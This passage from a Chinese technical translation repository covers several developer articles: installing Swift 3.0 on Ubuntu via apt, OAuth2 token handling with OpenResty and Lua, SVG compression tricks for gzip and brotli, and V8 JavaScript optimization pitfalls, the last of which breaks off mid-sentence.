Joe](http://dev.iachieved.it/iachievedit/author/admin/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [joyking7](https://github.com/joyking7) * 校对者 : [CoderBOBO](https://github.com/CoderBOBO) [shenxn](https://github.com/shenxn) Linux 系统下 Swift 3.0 的介绍 ==================== [![Swift 3.0](https://img.shields.io/badge/Swift-3.0-orange.svg?style=flat)](https://swift.org/) 如果你正在寻找 Swift 2.2 的 Ubuntu 包,请查看我们[这里](http://dev.iachieved.it/iachievedit/ubuntu-packages-for-open-source-swift/)的引导。 ### Swift 3.0 Swift 2.2 已经从 `master` 分支移到了 `swift-2.2` 分支上。从那以后,仓库的 `master` 分支就被用来进行 3.0 版本的开发。完整克隆并编译 Swift 源码的方式已经与之前有很大变化。相比之前要逐个仓库进行克隆,现在你可以这样做: mkdir swift-build cd swift-build git clone https://github.com/apple/swift.git ./swift/utils/update-checkout --clone `swift` 仓库中的 `update-checkout` 脚本可以帮助你克隆编译 Swift 代码所需的仓库,并且把它们打包到 `.tar.gz` 压缩文件中。 我们使用 “build and package” 作为预设,不仅可以编译所有需要的目标文件,还能顺利地将它们打包成 `.tar.gz` 压缩文件。使用 `package.sh` 这个脚本就能完成上面的操作(可在 `package-swift` 库中找到): #!/bin/bash pushd `dirname $0` > /dev/null WHERE_I_AM=`pwd` popd > /dev/null INSTALL_DIR=${WHERE_I_AM}/install PACKAGE=${WHERE_I_AM}/swift.tar.gz LSB_RELEASE=`lsb_release -rs | tr -d .` rm -rf $INSTALL_DIR $PACKAGE ./swift/utils/build-script --preset=buildbot_linux_${LSB_RELEASE} install_destdir=${INSTALL_DIR} in 这个脚本中关键的事情就是检测 Ubuntu 的版本 (`lsb_release -rs`),并且使用 `buildbot_linux_${LSB_RELEASE}` 预设来编译并把所有东西打包到 `${PACKAGE}` `.tar.gz` 文件中。 ### apt-get 从 Apple 官方下载 `.tar.gz` 是个明智的选择。其实在 Ubuntu 发行版本上使用 `apt-get` 指令是更好的方法。为了使在 Linux 上编译 Swift 代码变得更加容易,我们为你提供了包含最新 Swift 包的 Ubuntu 仓库。 当前我们同时提供了 `swift-3.0` 和 `swift-2.2` 两个版本的包,然而他们并_不_兼容。比如,两个版本包都会将 `swift` 安装到 `/usr/bin` 目录下。我们计划将两个版本包分开安装到不同地方,不过可能要到 2016 年中才能解决这个问题。 虽然有各种限制和约束,但是也不妨碍我们开始看看如何安装 Swift 3.0 ! **1\. 添加仓库密钥 (repository key)** wget -qO- http://dev.iachieved.it/iachievedit.gpg.key | sudo apt-key add - **2\. 将特定仓库添加到 `sources.list`** **Ubuntu 14.04** echo "deb http://iachievedit-repos.s3.amazonaws.com/ trusty main" | sudo tee --append /etc/apt/sources.list **Ubuntu 15.10** echo "deb http://iachievedit-repos.s3.amazonaws.com/ wily main" | sudo tee --append /etc/apt/sources.list **3\. 运行 `apt-get update`** ``` sudo apt-get update ``` **4\. 安装 swift-3.0!** ``` apt-get install swift-3.0 ``` **5\. 试一试** git clone https://github.com/apple/example-package-dealer cd example-packager-dealer swift build Compiling Swift Module 'FisherYates' (1 sources) Linking Library: .build/debug/FisherYates.a Compiling Swift Module 'PlayingCard' (3 sources) Linking Library: .build/debug/PlayingCard.a Compiling Swift Module 'DeckOfPlayingCards' (1 sources) Linking Library: .build/debug/DeckOfPlayingCards.a Compiling Swift Module 'Dealer' (1 sources) Linking Executable: .build/debug/Dealer 运行 Swift 3.0! ``` .build/debug/Dealer ``` ## FAQ **Q.** Apple 官方会编译这些二进制文件吗? **A.** 并不会,我在自己的个人服务器上编译它们,你们可以参考[这里](http://dev.iachieved.it/iachievedit/keeping-up-with-open-source-swift/) **Q.** 编译项目中的 git 修改版本怎么查找? **A.** 你可以使用 `apt-cache show swift-3.0` 指令来查看这项信息。比如: # apt-cache show swift-3.0 Package: swift-3.0 Status: install ok installed Priority: optional Section: development Installed-Size: 281773 Maintainer: iachievedit (support@iachieved.it) Architecture: amd64 Version: 1:3.0-0ubuntu2 Depends: clang (>= 3.6), libicu-dev Conflicts: swift-2.2 Description: Open Source Swift This is a packaged version of Open Source Swift 3.0 built from the following git revisions of the Apple Github repositories: Clang: c18bb21a04 LLVM: 0d07a5d3d5 Swift: 8aa4dadf92 Foundation: dc4fa2d80b Description-md5: 08508c39657c159d064917af87d8d411 Homepage: http://dev.iachieved.it/iachievedit/swift 每次编译原始树_未受影响_。 **Q.** 上传二进制文件前你测试过它们吗? **A.** Swift 进行编译时会对产生的二进制文件进行测试,然后我会做一些基础测试并用它编译我自己的应用程序,但是现在没有详尽全面的测试用例。 **Q.** 你会按照时间表定期编译吗? **A.** 并不会,尽管我想尝试与 Apple 官方保持同步。然而我的想法只是做一下实验,从而我可以在 Linux 上编写 Swift 程序。 **Q.** 所有内容会被安装到哪里? **A.**所有内容会被放在 `/usr` 目录下,就像安装 `clang` 、 `gcc` 那样。 **Q.** 如何理解包版本号的意义? **A.** 这就是我一开始就想到的问题,我认为应该需要一个合适的包版本号。把 `3.0-0ubuntu2~trusty1` 分解一下,应该是这样: * 3.0 是指所打包的 Swift 版本。 * -0ubuntu2 表示为 Ubuntu 打包的第二个版本,0 表示其上没有依赖的 Debian 包。 * ~trusty1 表示这个包是为 Trusty Tahr 准备的。 Wily 的包版本号并不包括任何类似 `~wiley1` 这样的内容,因为从 Trusty 升级到 Wiley 后,它能够正确地自动更新 `swift-3.0` 的包。 我_认为_这样是对的,但是如果你有其他想法,可以发邮件到 `support@iachieved.it` 。 ## 工作原理是什么? 我参考了[这些超赞的指南](http://xn.pinkhamster.net/blog/tech/host-a-debian-repository-on-s3.html),在 Amazon S3 上搭建了一个 Debian 包仓库。我试着在上面建立了一个 PPA (译者注:Personal-Package-Archives,个人软件包档案) 发布平台,但是说实话,为了发布一个简单的包处理如此多的元数据真的非常痛苦。我明确知道搭建分发仓库很必要,但是这样做又有一些过头。不过那些开发 [fpm](https://github.com/jordansissel/fpm) 的人也有一些关于这个的建议。 那些打包好用来编译内容并且上传到仓库的脚本可以在 [Github](https://github.com/iachievedit/package-swift) 上找到。学习 Swift 3.0 可以查看 `swift-3.0` 分支。 ================================================ FILE: TODO/OAuth2 Authentication with Lua.md ================================================ * 原文链接 : [OAuth2 Authentication with Lua](http://lua.space/webdev/oauth2-authentication-with-lua) * 原文作者 : [Israel Sotomayor](https://github.com/zot24) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [BOBO](https://github.com/CoderBOBO) * 校对者: [Adam Shen](https://github.com/shenxn) [joyking7](https://github.com/joyking7) # 使用 Lua 完成 OAuth2 的身份验证 在此说明该教程将不提供详细的技术指导,教您如何使用 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) 构建自己的认证层,而是讲解一下解决方案背后的处理过程。 这是一个真实的案例:[moltin](https://moltin.com)'s API 如何依赖 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) 来为所有的用户处理 oauth2 身份认证 用于验证用户的方法最初是被在运用在 PHP 框架 [Laravel](https://laravel.com/) 所搭建的 [moltin](https://moltin.com) 相关的 API 当中。这就意味着在认证身份、驳回请求或验证消息从而导致高度延时的用户请求之前需启动大量的代码。 我不会详细地去介绍一个PHP框架需要花多长时间才能给出一个基本响应,但如果我们将它和其他语言/框架进行比较,也许你就可以理解相关的差异。 以下是它所呈现的大致情景: ... public function filter($route, $request) { try { // Initiate the Request handler $this->request = new OAuthRequest; // Initiate the auth server with the models $this->server = new OAuthResource(new OAuthSession); // Is it a valid token? if ($this->accessTokenValid() == false) { throw new InvalidAccessTokenException('Unable to validate access token'); } ... 那么,我们决定将所有逻辑提升一层至 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) ,便能实现如下几点: * 解除与Monolitic API之间的耦合关系。 * 改进认证次数和生成的访问/刷新令牌。 * 改进拒绝非法访问令牌和身份验证证书的次数。 * 改进身份验证访问令牌时的次数和重定向后再次向API发送请求的次数。 我们希望并需要在请求 API 之前更好地控制每个请求,因此我们决定采用速度足够快的工具,使我们能对每个请求进行预处理,并可以十分灵活地将它们集成到我们的实际系统中。最终,我们选择了 OpenResty(一个 [Nginx](https://www.nginx.com/) 的修改版本),这使得我们可以使用 [Lua](http://www.lua.org) 来预先处理这些请求。因为 [Lua](http://www.lua.org) 强大并且速度快,足以解决这些问题,并且 [Lua](http://www.lua.org) 是许多大公司每天都在使用的一种受到高度认可的脚本语言。 我们跟随Kong背后的思想使用 [OpenResty](https://openresty.org) + [Lua](http://www.lua.org) 脚本,[Kong](https://github.com/Mashape/kong) 提供了一些可插入到你的API项目中的微服务。然而,我们发现Kong仍处于一个非常初期的阶段,实际上kong正在试图提供更多我们需要的东西。因此,我们决定实现自己的验证层,使我们对它有更多的控制权。 ### 基础架构 [moltin](https://moltin.com) 当前的基础架构 ![](https://moltin.com/files/large/67b084c60b6d0ff) * OpenResty (Nginx) * Lua scripts * Caching Layer (Redis) #### OpenResty 这是一些配置的规则 ![](https://moltin.com/files/large/8b359a7b2bad55a) 我们设置了一些路由来处理不同用户的请求,你可以看到如下情况: **nginx.conf** location ~/oauth/access_token { ... } location /v1 { ... } So for each of those endpoints we have to: * check the authentication access token * get the authentication access token ... location ~/oauth/access_token { content_by_lua_file "/opt/openresty/nginx/conf/oauth/get_oauth_access.lua"; ... } location /v1 { access_by_lua_file "/opt/openresty/nginx/conf/oauth/check_oauth_access.lua"; ... } ... 我们利用OpenResty的这两条指令 [content_by_lua_file](https://github.com/openresty/lua-nginx-module#content_by_lua_file) 和[access_by_lua_file](https://github.com/openresty/lua-nginx-module#access_by_lua_file)。 #### Lua 脚本 这是个不可思议的环节。我们需要编写两个lua脚本来做到这一点: **get_oauth_access.lua** ... ngx.req.read_body() args, err = ngx.req.get_post_args() -- If we don't get any post data fail with a bad request if not args then return api:respondBadRequest() end -- Check the grant type and pass off to the correct function -- Or fail with a bad request for key, val in pairs(args) do if key == "grant_type" then if val == "client_credentials" then ClientCredentials.new(args) elseif val == "password" then Password.new(args) elseif val == "implicit" then Implicit.new(args) elseif val == "refresh_token" then RefreshToken.new(args) else return api:respondForbidden() end end end return api:respondOk() ... **check_oauth_access.lua** ... local authorization, err = ngx.req.get_headers()["authorization"] -- If we have no access token forbid the beasts if not authorization then return api:respondUnauthorized() end -- Check for the access token local result = oauth2.getStoredAccessToken(token) if result == false then return api:respondUnauthorized() end ... #### 缓存层 在这创建并且存储访问的令牌。我们可以按照自己的意愿对其进行删除、终止或刷新。我们将Redis作为存储层,使用 [openresty/lua-resty-redis](https://github.com/openresty/lua-resty-redis) 把Lua连接到Redis上。 ### 资源 以下是我们在创建验证层时所用到的一些与Lua相关的有趣资源。 #### Lua * [Lua formdata type](http://blog.zot24.com/lua-formdata-type/) * [Lua sugar syntax double dots](http://blog.zot24.com/lua-sugar-syntax-double-dots/) * [How to use a classs constructor on Lua](http://blog.zot24.com/how-to-use-a-classs-constructor-on-lua/) * [Returning status code with OpenResty Lua](http://blog.zot24.com/returning-status-code-with-openresty-lua/) * [Return JSON responses when using OpenResty + Lua](http://blog.zot24.com/return-json-responses-when-using-openresty-lua/) * [When ngx exit using OpenResty precede it with return](http://blog.zot24.com/when-ngx-exit-using-openresty-precede-it-with-return/) ================================================ FILE: TODO/Of SVG, Minification and Gzip ================================================ > * 原文地址:[Of SVG, Minification and Gzip](https://blog.usejournal.com/of-svg-minification-and-gzip-21cd26a5d007) > * 原文作者:[Anton Khlynovskiy](https://blog.usejournal.com/@subzey?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/of-svg-minification-and-gzip.md](https://github.com/xitu/gold-miner/blob/master/TODO/of-svg-minification-and-gzip.md) > * 译者: > * 校对者: # Of SVG, Minification and Gzip ![](https://cdn-images-1.medium.com/max/800/1*p926hOBc0YrbqPceYbLk0A.png) Smaller files are downloaded faster, so making an asset file size smaller before sending it to a client is a good thing to do. Actually, it’s not just a good thing to do, minification and compression are something that a modern developer is _supposed_ to do. But minifiers are not perfect and compressors can perform better or worse depending on the data they compress. There are some tricks and patterns to turn these tools up to eleven. Interested? Let’s dive in! ### Getting Started We’ll use a simple SVG file as an example: ![](https://cdn-images-1.medium.com/max/800/1*_ScxMaOWN_FCnKKJlQ3oQQ.png) An `` image with two 6×6 squares (``) inside a 10×10 pixels area (`viewBox`). 176 bytes raw, 138 b gzipped. Yup, it’s not a piece of fine art. But it’s enough to cover the topic without turning this Medium post into a scientific paper. ### Step 0: Svgo Running `svgo image.svg` instantly improves the compression. ![](https://cdn-images-1.medium.com/max/800/1*LwteS1LS9iPlpJOtllVqbA.png) _(Carriage returns and indentations are added for readability)_ The most notably, the `rect`s were replaced with `path`s. A path shape is defined by its `d` attribute, a sequence of commands that moves a virtual pen just like canvas drawing methods. Commands can be absolute (move **to** x, y) and relative (move **by** x, y). Let’s take a closer look at one of the paths: `M 0 0`: start at (0, 0) `h 6`: move horizontally by 6 px right `v 6`: move vertically by 6 px down `H 0`: move horizontally to x = 0 `z`: close path: move to the point the path was started Quite an elaborate way to draw a square! But it’s a more compact representation than a `rect` element. The other change is that `#f00` became `red`. One byte less, yay! The file is now 135 b raw, 126 b gzipped. ### Step 1: Scale Everything You might have noticed all the coordinates in both paths are even. What if we divide each coordinate by two? ![](https://cdn-images-1.medium.com/max/800/1*LNM-zlZDg_s99ZxSOk6KYw.png) The image now looks the same, but it’s twice as small. Now we can just scale the `viewBox` and the image looks correct again. ![](https://cdn-images-1.medium.com/max/800/1*ci39eVsuha9jkXj-APDOXA.png) 133 bytes raw, 124 bytes gzipped. ### Step 2: Unclosed paths Back to the paths. The last commands in both paths are `z`, “close path”. But paths are implicitly closed when they are filled. So we could just remove those commands. ![](https://cdn-images-1.medium.com/max/800/1*mBTPJaeMYpb1ekVmPzhuiA.png) 2 raw bytes less, now the file is 131 b long, 122 gzipped. Fewer raw bytes makes fewer compressed bytes, seems legit. And we’ve already saved 4 gzipped bytes even after svgo. _You might wonder: why doesn’t svgo make these optimizations automatically. The reason is that scaling an image and removing the trailing z commands are unsafe. Here, take a look:_ ![](https://cdn-images-1.medium.com/max/800/1*TV-Vc8ehkKYNkuVqgFJmoQ.png) Various versions of the image with the stroke applied. Left to right: original, unclosed, unclosed & scaled. _Strokes are all messed up. It’s good to know we’re not going to use strokes. Svgo cannot know that, so it has to play safe, avoiding potentially unsafe transformations._ Looks like there’s nothing else to remove from the code. The XML syntax is strict, all the attributes are required and its values cannot be left unquoted. Is that all? Oh, no, it’s just the beginning. ### Step 3: Reducing the Alphabet Now it’s time to introduce a very handy tool, [gzthermal](https://encode.ru/threads/1889-gzthermal-pseudo-thermal-view-of-Gzip-Deflate-compression-efficiency). It analyzes the gzipped file and colors the raw bytes depending on how many bits are used to encode. Better compressed data is green, worse compressed one is red, it’s that simple. ![](https://cdn-images-1.medium.com/max/800/1*wrB-Z6jgspiHE8tculNVVw.png) Let’s take a look at the d attributes again. Particularly at the M commands as they are marked red and worth our attention. No, we cannot delete those, but we can make it a relative command: `m2 2`. The initial “cursor” position is the axis origin, (0, 0), so there’s no difference between moving **to** (2, 2) and moving **by** (2, 2) from the origin. So, let’s try that. ![](https://cdn-images-1.medium.com/max/800/1*eogrWPzKTpjvhnkFhhPcZg.png) ![](https://cdn-images-1.medium.com/max/800/1*Vk-9DDQMFoBraOaWAOF74Q.png) Still 131 bytes raw, but 121 bytes gzipped. _Whoa!_ What just happened? The answer is… #### Huffman Trees Gzip is powered by the [DEFLATE](https://en.wikipedia.org/wiki/DEFLATE) algorithm, and DEFLATE is built on top of Huffman trees. The core idea of Huffman coding is that more frequent symbols are encoded with fewer bits, and vice versa, less frequent symbols need more bits. _Yes, bits, not bytes: DEFLATE treats a string of bytes just as a sequence of bits, and if there were 7, or 9, or 100 bits in a byte, DEFLATE would work just the same._ As an example we’ll take a string Test and construct the codes from its alphabet: `00` T `01` e `10` s `11` t Now to encode the string Test we just write out the bits for each character: `00011011`, 8 bits. Now let’s make an initial letter T lowercase, `test`, and try again: `0` t `10` e `11` s The letter t is now more frequent and it gets a shorter, 1 bit, code. And the encoded string is: `010110`, 6 bits! * * * We did just the same with the letter M in our SVG. After lowering the case there’s no more uppercase M left in the code, so it’s got thrown away from the tree entirely, making the average code length smaller. When writing a gzip friendly code, it’s generally a good idea to prefer more frequent characters and thus making those even more frequent. Even if you couldn’t make the code lengths smaller, more frequent chars are less bit consuming. ### Step 4: Backreferences There’s another DEFLATE feature: backreferences. Certain code points do not encode values directly, instead, it tell the decoder to copy some bytes that were decoded recently. So instead of encoding raw bytes with the same bits again and again it can be referenced: _go back n bytes and copy m bytes_. For example: `Hey diddle diddle, the cat and the fiddle.` `Hey diddle**<7,7>**, the cat and**<12,5>**f**<24,5>**.` Luckily, gzthermal has a special mode that shows only backreferences. `gzthermal -z` gives the following image: ![](https://cdn-images-1.medium.com/max/800/1*p3j1ITiSJDpNfV16YPRqng.png) Literal bytes are painted orange, backrefs are blue. [Here’s the same image animated for better clarity.](https://github.com/subzey/svg-gz-supplement/blob/master/backrefs-animated.gif) The second path is almost entirely constructed using backrefs, except the fill value, `m` command and the last `H` command. Nothing can be done with the fill and the m: the second square indeed has different color and positions. But the shapes are the same, and we could state in more clearly for the gzip. We’ll just replace absolute commands `H 0` and `H 2` with a relative one: `h-3`. ![](https://cdn-images-1.medium.com/max/800/1*oa2ts-oANaSS4hrIOlrXTg.png) ![](https://cdn-images-1.medium.com/max/800/1*ye5f4jzIDt5YYbCeLHa37A.png) Now two separate backrefs are joined into the single one, and the file is now 133 bytes raw, 119 bytes gzipped. We’ve added two uncompressed bytes, but the gzipped result is two bytes shorter! And we only care about the compressed size: There’s 99.9% chance an asset would be delivered to the client being compressed with gzip or brotli. By the way, talking of… ### Brotli [Brotli](https://en.wikipedia.org/wiki/Brotli) is an algorithm presented in 2015 to replace gzip (from 1992) in web browsers. But in many aspects it works like gzip: it’s built upon Huffman coding and backreferences as well. So brotli can benefit all the tweaks we made for gzip. Let’s use it for all the steps we made and take a look. Original: 106 bytes After step 0 (svgo): 104 bytes After step 1 (viewBox): 105 bytes After step 2 (unclosed paths): 113 bytes After step 3 (lowercase m): 116 bytes After step 4 (relative commands): 102 bytes As you can see, the final result is smaller than what the svgo offered us. That’s good evidence that all of gzip’s specific bells and whistles work for brotli as well. But the intermediate results are… confusing. The “brotlied” file was only bigger. Brotli is not gzip, it’s a separate brand new algorithm. And despite all similarities with gzip there are certain differences. Most notably, brotli has the builtin predefined dictionary, it uses the context heuristics when encoding data, and the minimal backreference size is 2 bytes (gzip can only create backrefs of 3 bytes and longer). I’d say, brotli is _less predictable_ than gzip. I’d love to explain what caused the compression degradation, but unfortunately, I can’t. Gzip/DEFLATE has aforementioned gzthermal and a more powerful low level analyze tool, [defdb](https://encode.ru/threads/1428-defdb-a-tool-to-dump-the-deflate-stream-from-gz-and-png-files). Brotli has… none. All we’re left with is [the spec](https://tools.ietf.org/html/rfc7932) and the method of trial and error. ### Trial and Error We’ll try once more. This time we address the color inside the `fill` attribute. Sure, `red` is shorter than `#f00`, but maybe Brotli could utilize the longer backref. ![](https://cdn-images-1.medium.com/max/800/1*MwGlmyjaYFlhUhxQ5d4xDA.png) 120 bytes gzipped, 100 bytes brotlied. The gzip stream is now 1 byte longer and the brotli stream is 2 bytes shorter. It’s better in brotli, but worse in gzip. And I suppose, it’s totally fine! Hardly ever could we optimize the data to get the _best possible_ results in two different compressors at once. The compression is like solving a horribly wrong Rubik’s cube: It cannot be solved correctly, it can only be solved good enough. ### Conclusion All the tweaks described above are not exclusively specific to SVG or to gzip. There are common principles of writing a more compressible code: 1. Compressing **smaller raw data** would probably produce smaller compressed data. 2. **Fewer distinct characters** means less entropy. Less entropy is better compression. 3. More frequently found characters are compressed with less number of bits. **Getting rid of less common characters** and **making the more common chars to be even more common** would most probably improve the compression. 4. **Long runs of duplicated code** are compressed with a few bits. [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) is not always the best option. Sometimes you’d like to **repeat yourself** to get better results. 5. Sometimes more raw data will produce smaller compressed data. **Removing entropy** will allow the compressor to better remove what is redundant. You can find all source, compressed images and extras in [this GitHub repo](https://github.com/subzey/svg-gz-supplement/). I hope, you liked this post, next time we’ll talk about compressing JavaScript in general and webpack bundles in particular. --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/Optimization-killers.md ================================================ > * 原文地址:[Optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers) > * 原文作者:[github.com/petkaantonov/bluebird](https://github.com/petkaantonov/bluebird) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[Aladdin-ADD](https://github.com/Aladdin-ADD),[zhaochuanxing](https://github.com/zhaochuanxing) # V8 性能优化杀手 ## 简介 这篇文章给出了一些建议,让你避免写出性能远低于期望的代码。特别指出有一些代码会导致 V8 引擎(涉及到 Node.JS、Opera、Chromium 等)无法对相关函数进行优化。 vhf 正在做一个类似的项目,试图将 V8 引擎的性能杀手全部列出来:[V8 Bailout Reasons](https://github.com/vhf/v8-bailout-reasons)。 ### V8 引擎背景知识 V8 引擎中没有解释器,但有 2 种不同的编译器:普通编译器与优化编译器。编译器会将你的 JavaScript 代码编译成汇编语言后直接运行。但这并不意味着运行速度会很快。被编译成汇编语言后的代码并不能显著地提高其性能,它只能省去解释器的性能开销,如果你的代码没有被优化的话速度依然会很慢。 例如,在普通编译器中 `a + b` 将会被编译成下面这样: ```nasm mov eax, a mov ebx, b call RuntimeAdd ``` 换句话说,其实它仅仅调用了 runtime 函数。但如果 `a` 和 `b` 能确定都是整型变量,那么编译结果会是下面这样: ```nasm mov eax, a mov ebx, b add eax, ebx ``` 它的执行速度会比前面那种去在 runtime 中调用复杂的 JavaScript 加法算法快得多。 通常来说,使用普通编译器将会得到前面那种代码,使用优化编译器将会得到后面那种代码。走优化编译器的代码可以说比走普通编译器的代码性能好上 100 倍。但是请注意,并不是任何类型的 JavaScript 代码都能被优化。在 JS 中,有很多种情况(甚至包括一些我们常用的语法)是不能被优化编译器优化的(这种情况被称为“bailout”,从优化编译器降级到普通编译器)。 记住一些会导致整个函数无法被优化的情况是很重要的。JS 代码被优化时,将会逐个优化函数,在优化各个函数的时候不会关心其它的代码做了什么(除非那些代码被内联在即将优化的函数中。)。 这篇文章涵盖了大多数会导致函数坠入“无法被优化的深渊”的情况。不过在未来,优化编译器进行更新后能够识别越来越多的情况时,下面给出的建议与各种变通方法可能也会变的不再必要或者需要修改。 ## 主题 1. [工具](#1-工具) 2. [不支持的语法](#2-不支持的语法) 3. [使用 `arguments`](#3-使用-arguments) 4. [Switch-case](#4-switch-case) 5. [For-in](#5-for-in) 6. [退出条件藏的很深,或者没有定义明确出口的无限循环](#6-退出条件藏的很深-或者没有定义明确出口的无限循环) ## 1. 工具 你可以在 node.js 中使用一些 V8 自带的标记来验证不同的代码用法对优化的影响。通常来说你可以创建一个包括特定模式的函数,然后使用所有允许的参数类型去调用它,再使用 V8 的内部去优化与检查它: test.js: ```js //创建包含需要检查的情况的函数(检查使用 `eval` 语句是否能被优化) function exampleFunction() { return 3; eval(''); } function printStatus(fn) { switch(%GetOptimizationStatus(fn)) { case 1: console.log("Function is optimized"); break; case 2: console.log("Function is not optimized"); break; case 3: console.log("Function is always optimized"); break; case 4: console.log("Function is never optimized"); break; case 6: console.log("Function is maybe deoptimized"); break; case 7: console.log("Function is optimized by TurboFan"); break; default: console.log("Unknown optimization status"); break; } } //识别类型信息 exampleFunction(); //这里调用 2 次是为了让这个函数状态从 uninitialized -> pre-monomorphic -> monomorphic exampleFunction(); %OptimizeFunctionOnNextCall(exampleFunction); //再次调用 exampleFunction(); //检查 printStatus(exampleFunction); ``` 运行它: ``` $ node --trace_opt --trace_deopt --allow-natives-syntax test.js (v0.12.7) Function is not optimized (v4.0.0) Function is optimized by TurboFan ``` https://codereview.chromium.org/1962103003 为了检验我们做的这个工具是否真的有用,注释掉 `eval` 语句然后再运行一次: ```bash $ node --trace_opt --trace_deopt --allow-natives-syntax test.js [optimizing 000003FFCBF74231 - took 0.345, 0.042, 0.010 ms] Function is optimized ``` 事实证明,使用这个工具来验证处理方法是可行且必要的。 ## 2. 不支持的语法 有一些语法结构是不支持被编译器优化的,用这类语法将会导致包含在其中的函数不能被优化。 **请注意**,即使这些语句不会被访问到或者不会被执行,它仍然会导致整个函数不能被优化。 例如下面这样做是没用的: ```js if (DEVELOPMENT) { debugger; } ``` 即使 debugger 语句根本不会被执行到,上面的代码将会导致包含它的整个函数都不能被优化。 目前不可被优化的语法有: - ~~Generator 函数~~ ([V8 5.7](https://v8project.blogspot.de/2017/02/v8-release-57.html) 对其做了优化) - ~~包含 for of 语句的函数~~ (V8 commit [11e1e20](https://github.com/v8/v8/commit/11e1e20) 对其做了优化) - ~~包含 try catch 语句的函数~~ (V8 commit [9aac80f](https://github.com/v8/v8/commit/9aac80f) / V8 5.3 / node 7.x 对其做了优化) - ~~包含 try finally 语句的函数~~ (V8 commit [9aac80f](https://github.com/v8/v8/commit/9aac80f) / V8 5.3 / node 7.x 对其做了优化) - ~~包含[`let` 复合赋值](http://stackoverflow.com/q/34595356/504611)的函数~~ (Chrome 56 / V8 5.6! 对其做了优化) - ~~包含 `const` 复合赋值的函数~~ (Chrome 56 / V8 5.6! 对其做了优化) - 包含 `__proto__` 对象字面量、`get` 声明、`set` 声明的函数 看起来永远不会被优化的语法有: - 包含 `debugger` 语句的函数 - 包含字面调用 `eval()` 的函数 - 包含 `with` 语句的函数 最后明确一下:如果你用了下面任何一种情况,整个函数将不能被优化: ```js function containsObjectLiteralWithProto() { return {__proto__: 3}; } ``` ```js function containsObjectLiteralWithGetter() { return { get prop() { return 3; } }; } ``` ```js function containsObjectLiteralWithSetter() { return { set prop(val) { this.val = val; } }; } ``` 另外在此要特别提一下 `eval` 和 `with`,它们会导致它们的调用栈链变成动态作用域,可能会导致其它的函数也受到影响,因为这种情况无法从字面上判断各个变量的有效范围。 **变通办法** 前面提到的不能被优化的语句用在生产环境代码中是无法避免的,例如 `try-finally` 和 `try-catch`。为了让使用这些语句的影响尽量减小,它们需要被隔离在一个最小化的函数中,这样主要的函数就不会被影响: ```js var errorObject = {value: null}; function tryCatch(fn, ctx, args) { try { return fn.apply(ctx, args); } catch(e) { errorObject.value = e; return errorObject; } } var result = tryCatch(mightThrow, void 0, [1,2,3]); //明确地报出 try-catch 会抛出什么 if(result === errorObject) { var error = errorObject.value; } else { //result 是返回值 } ``` ## 3. 使用 `arguments` 有许多种使用 `arguments` 的方式会导致函数不能被优化。因此当使用 `arguments` 的时候需要格外小心。 #### 3.1. 在非严格模式中,对一个已经被定义,同时在函数体中被 `arguments` 引用的参数重新赋值。典型案例: ```js function defaultArgsReassign(a, b) { if (arguments.length < 2) b = 5; } ``` **变通方法** 是将参数值保存在一个新的变量中: ```js function reAssignParam(a, b_) { var b = b_; //与 b_ 不同,可以安全地对 b 进行重新赋值 if (arguments.length < 2) b = 5; } ``` 如果仅仅是像上面这样用 `arguments`(上面代码作用为检测第二个参数是否存在,如果不存在则赋值为 5),也可以用 `undefined` 检测来代替这段代码: ```js function reAssignParam(a, b) { if (b === void 0) b = 5; } ``` 但是之后如果需要用到 `arguments`,很容易忘记需要在这儿加上重新赋值的语句。 **变通方法 2**:为整个文件或者整个函数开启严格模式 (`'use strict'`)。 #### 3.2. arguments 泄露: ```js function leaksArguments1() { return arguments; } ``` ```js function leaksArguments2() { var args = [].slice.call(arguments); } ``` ```js function leaksArguments3() { var a = arguments; return function() { return a; }; } ``` `arguments` 对象在任何地方都不允许被传递或者被泄露。 **变通方法** 可以通过创建一个数组来代理 `arguments` 对象: ```js function doesntLeakArguments() { //.length 仅仅是一个整数,不存在泄露 //arguments 对象本身的问题 var args = new Array(arguments.length); for(var i = 0; i < args.length; ++i) { //i 是 arguments 对象的合法索引值 args[i] = arguments[i]; } return args; } function anotherNotLeakingExample() { var i = arguments.length; var args = []; while (i--) args[i] = arguments[i]; return args } ``` 但是这样要写很多让人烦的代码,因此得判断是否真的值得这么做。后面一次又一次的优化会代理更多的代码,越来越多的代码意味着代码本身的意义会被逐渐淹没。 不过,如果你有 build 这个过程,可以将上面这一系列过程由一个不需要 source map 的宏来实现,保证代码为合法的 JavaScript: ```js function doesntLeakArguments() { INLINE_SLICE(args, arguments); return args; } ``` Bluebird 就使用了这个技术,上面的代码经过 build 之后会被拓展成下面这样: ```js function doesntLeakArguments() { var $_len = arguments.length; var args = new Array($_len); for(var $_i = 0; $_i < $_len; ++$_i) { args[$_i] = arguments[$_i]; } return args; } ``` #### 3.3. 对 arguments 进行赋值: 在非严格模式下可以这么做: ```js function assignToArguments() { arguments = 3; return arguments; } ``` **变通方法**:犯不着写这么蠢的代码。另外,在严格模式下它会报错。 #### 那么如何安全地使用 `arguments` 呢? 只使用: - `arguments.length` - `arguments[i]` **`i` 需要始终为 arguments 